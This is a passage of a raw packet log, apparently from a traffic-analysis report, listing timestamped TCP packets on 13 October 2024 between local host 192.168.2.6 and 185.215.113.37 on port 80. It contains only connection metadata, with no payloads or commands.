Oct 13, 2024 14:49:25.406920910 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.406929970 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.406935930 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.406941891 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.406951904 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.406960011 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.406968117 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.406980991 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.406985998 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.407007933 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.407007933 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.407052994 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.407105923 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.407121897 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.407139063 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.407151937 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.407161951 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.407213926 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.407248020 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.407262087 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.407277107 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.407286882 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.407291889 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.407311916 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.407329082 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.407433987 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.407452106 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.407466888 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.407474041 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.407483101 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.407499075 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.407505035 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.407515049 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.407529116 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.407552958 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.407552958 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.407567978 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.407586098 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.407587051 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.407629967 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.407629967 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.407655954 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.407674074 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.407691002 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.407696962 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.407706976 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.407716990 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.407735109 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.407771111 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.407804966 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.407820940 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.407836914 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.407854080 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.407860041 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.407910109 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.407939911 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.407974958 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.407991886 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.408008099 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.408024073 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.408021927 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.408035040 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.408039093 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.408065081 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.408097982 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.408122063 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.408135891 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.408149958 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.408163071 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.408176899 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.408184052 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.408199072 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.408202887 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.408214092 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.408221960 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.408229113 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.408241034 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.408243895 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.408258915 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.408258915 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.408282042 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.408308983 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.408499956 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.408535004 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.408550978 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.408557892 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.408566952 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.408582926 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.408595085 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.408597946 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.408612967 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.408622026 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.408627987 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.408643961 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.408648968 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.408658028 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.408673048 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.408673048 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.408694983 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.408718109 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.408901930 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.408927917 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.408951998 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.408967972 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.408974886 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.408982992 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.408998013 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.409002066 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.409013033 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.409024000 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.409028053 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.409044027 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.409054041 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.409059048 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.409074068 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.409087896 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.409087896 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.409096956 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.409138918 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.409312963 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.409329891 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.409343958 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.409358978 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.409360886 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.409373999 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.409415007 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.409415007 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.409447908 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.409465075 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.409480095 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.409493923 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.409506083 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.409509897 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.409524918 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.409526110 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.409538984 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.409554005 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.409569025 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.409570932 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.409583092 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.409590006 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.409599066 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.409609079 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.409614086 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.409632921 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.409656048 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.409981966 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.409997940 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.410013914 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.410027981 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.410046101 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.410047054 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.410063028 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.410064936 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.410079002 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.410096884 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.410113096 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.410125017 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.410126925 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.410136938 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.410144091 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.410159111 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.410172939 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.410187006 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.410188913 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.410202980 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.410218000 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.410221100 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.410233021 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.410239935 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.410248041 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.410257101 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.410265923 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.410286903 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.410312891 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.501677036 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.501770973 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.501781940 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.501791954 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.501806021 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.501844883 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.501925945 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.501938105 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.501950026 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.501969099 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.501980066 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.501986027 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.501988888 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.501997948 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.502001047 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.502029896 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.502094984 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.502290010 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.502301931 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.502311945 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.502321959 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.502331972 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.502384901 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.502399921 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.502415895 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.502427101 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.502433062 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.502439022 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.502449036 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.502460957 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.502470970 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.502480984 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.502486944 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.502496958 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.502506971 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.502548933 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.502563000 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.503185987 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.503196955 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.503206968 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.503216982 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.503226042 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.503232002 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.503236055 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.503241062 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.503251076 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.503261089 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.503269911 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.503273964 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.503279924 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.503285885 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.503290892 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.503302097 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.503310919 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.503310919 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.503320932 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.503321886 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.503331900 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.503338099 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.503343105 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.503354073 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.503380060 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.503408909 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.504126072 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.504137993 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.504148960 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.504158974 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.504168034 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.504174948 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.504179001 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.504189968 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.504199982 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.504205942 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.504209995 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.504219055 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.504229069 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.504231930 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.504239082 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.504249096 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.504254103 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.504256964 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.504264116 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.504273891 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.504282951 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.504287004 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.504293919 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.504303932 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.504314899 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.504317045 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.504324913 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.504340887 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.504357100 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.505048037 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.505059004 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.505069971 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.505079985 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.505086899 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.505089998 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.505100012 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.505109072 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.505115986 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.505119085 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.505129099 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.505139112 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.505147934 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.505148888 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.505157948 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.505167961 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.505172968 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.505177021 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.505182981 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.505187988 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.505198002 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.505198956 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.505208969 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.505218983 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.505219936 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.505229950 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.505233049 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.505261898 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.505290031 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.505990028 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.506002903 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.506011963 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.506021976 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.506031036 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.506036043 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.506041050 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.506050110 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.506059885 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.506068945 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.506073952 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.506078959 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.506088972 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.506088972 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.506099939 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.506108999 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.506114006 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.506119013 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.506129026 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.506130934 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.506149054 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.506158113 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.506161928 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.506169081 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.506175995 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.506181002 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.506208897 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.506237030 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.506839037 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.506850958 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.506860971 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.506872892 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.506881952 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.506885052 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.506891966 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.506920099 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.506939888 CEST	49720	80	192.168.2.6	185.215.113.37
